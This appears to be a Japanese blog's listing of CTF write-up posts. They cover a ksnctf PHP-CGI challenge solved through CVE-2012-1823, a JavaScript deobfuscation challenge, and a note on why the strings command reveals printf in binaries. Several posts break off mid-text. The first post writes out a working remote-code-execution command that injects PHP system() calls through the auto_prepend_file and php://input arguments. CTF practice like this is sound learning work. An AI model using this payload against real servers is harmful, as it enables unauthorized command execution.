CTF

ksnctf #12 Hypertext Preprocessor

  • POSTS
問題 ページを開いただけではよくわからない。 解き方 とりあえずグーグル先生に出てきた数字を聞いてみる。 すると徳丸先生の脆弱性情報が出てきた。 なるほど。数字の先頭の2012:1823はCVE(脆弱性番号)で、 phpの脆弱性らしい。 試しに、URLのクエリ文字列に「?-s」をつけるとソースコードが出てきた。 [http://ctfq.sweetduet.info:10080/~q12/?-s] ソースコードを見ると丁寧に「// Flag is in this directory.」と書かれているので、 次はOSインジェクションを試してみる。 「-d」をつけると任意のPHPコードが実行できるようなので、 参考サイトみながらちょろっとコードを書いて実行してみたらフラグをゲットできた。 # bash echo "<?php system('ls -al'); exit(); ?>" | POST "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" その他 初めはBurpを使ってクエリを書き換えていたが、bashから実行する方法がネットに載っていたので最終的にbashで答えを見つけた。 burpの使い方は慣れていないので練習が必要。 PHPの知識がなくても簡単にOSインジェクションができてしまったが、 PHPの勉強もしたい。 参考 https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.htmlhttps://blog.tokumaru.org/2013/11/apache-magica-attack.html[https://pentesterlab.com/exercises/cve-2012-1823/course] [asin:B00E5TJ120:detail]

ksnctf #3 Crawling Chaos

  • POSTS
前回に引き続きCTFの問題を解いていきます。 問題 100pt 適当に入力すると以下のようにでます。 解き方 ソースコードを見てみる。 Chromeのデベロッパーモードでソースコードを見てみると、headのscript内に謎のコードを発見。 console.logを見てもエラーが発生していないので、正しく認識されている。 これを解析する必要がある。 node.jsで開いてみる。 デベロッパーツールのままでは調査しづらいので、 「(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃーー」のスクリプトを別ファイルに切り出してnode unya.jsとして実行してみた。 すると undefined:2 $(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});}); ^ ReferenceError: $ is not defined at eval (eval at <anonymous> (/Users/takanori/Desktop/jquerry/u.js:1:17299), <anonymous>:2:1) at Object.<anonymous> (/Users/takanori/Desktop/jquerry/u.js:1:17333) at Module._compile (module.js:569:30) at Object.Module._extensions..js (module.js:580:10) at Module.load (module.js:503:32) at tryModuleLoad (module.js:466:12) at Function.Module._load (module.js:458:3) at Function.Module.runMain (module.js:605:10) at startup (bootstrap_node.js:158:16) at bootstrap_node.js:575:3 と表示された。 $ is not definedについてはJQueryを読み込んでいないのでエラーが出たが、 それ以外の部分はソースがデコードされた内容で表示された。 ソースを解析する 上記でデコードされた内容を見やすく改行すると以下のようになった。 $(function () { $("form").

stringsでなぜprintfが見えるのか

  • POSTS
Linuxへの理解を深めるため、最近CTFの問題を解いています。 CTFの回答を見ていると実行ファイル(バイナリ)に対してstringsコマンドを実行して、その中にpritnfがあるから書式文字列攻撃を試して・・・と書いてありました。 全く意味がわからなかったので、調べたことのメモになります。 そもそもstringsとは Linuxのコマンド 。 指定したファイル中の表示可能な文字列を表示します。 バイナリファイルやデータファイルの内容を判断するために利用します。 strings実行例 実行するとHello world!と表示されるファイルを用意します。 $ ./main Hello world! この実行ファイルをstirngsで見てみます。 ※stringsはデフォルトではファイルの先頭しか見ないので、オプションの-をつけることでファイル全体から文字を検索します。 $ strings - main __PAGEZERO __TEXT __text __TEXT __stubs __TEXT __stub_helper __TEXT __cstring __TEXT __unwind_info __TEXT __DATA __nl_symbol_ptr __DATA __la_symbol_ptr __DATA __LINKEDIT /usr/lib/dyld /usr/lib/libSystem.B.dylib Hello world! @dyld_stub_binder @_printf _mh_execute_header !main __mh_execute_header _main _printf dyld_stub_binder stringsは実行ファイル中に存在する文字だけを抽出してくれるのがメリットです。 ※lessやcatで実行ファイルを見てもノイズが多くて見にくい 実行ファイル(バイナリ)って変数名とか見れないんじゃないの? 私の認識では高級言語のソースコードをコンパイルしたら変数名や関数は機械語に変換されるため、stringsコマンドでバイナリを見てももちろんソースコードは出てこないし、関数名・変数も機械の都合の良い名前に変換されていると思っていました。 なので例えばint hoge=1111なんてコードを書いても、コンパイル後はintはアセンブリ言語のMOVかなにかに変換されて、変数名hogeも別の何かに変換されて跡形もなくなると思っていました。 なのでstringsコマンドで実行ファイルを覗いても、ソースコードの関数は見えないはず(=printfは出てこない)では?と思い混乱しました。 実際にコンパイルしてみた やってみないとわからないので、 試しに以下のコードを書いてコンパイルしてみました。 C言語でテスト /* test.c */ #include <stdio.h>int test(){ int hensu = 1111; printf("変数の中身は%dです\n",hensu); return 0; } int main(){ printf("Hello world!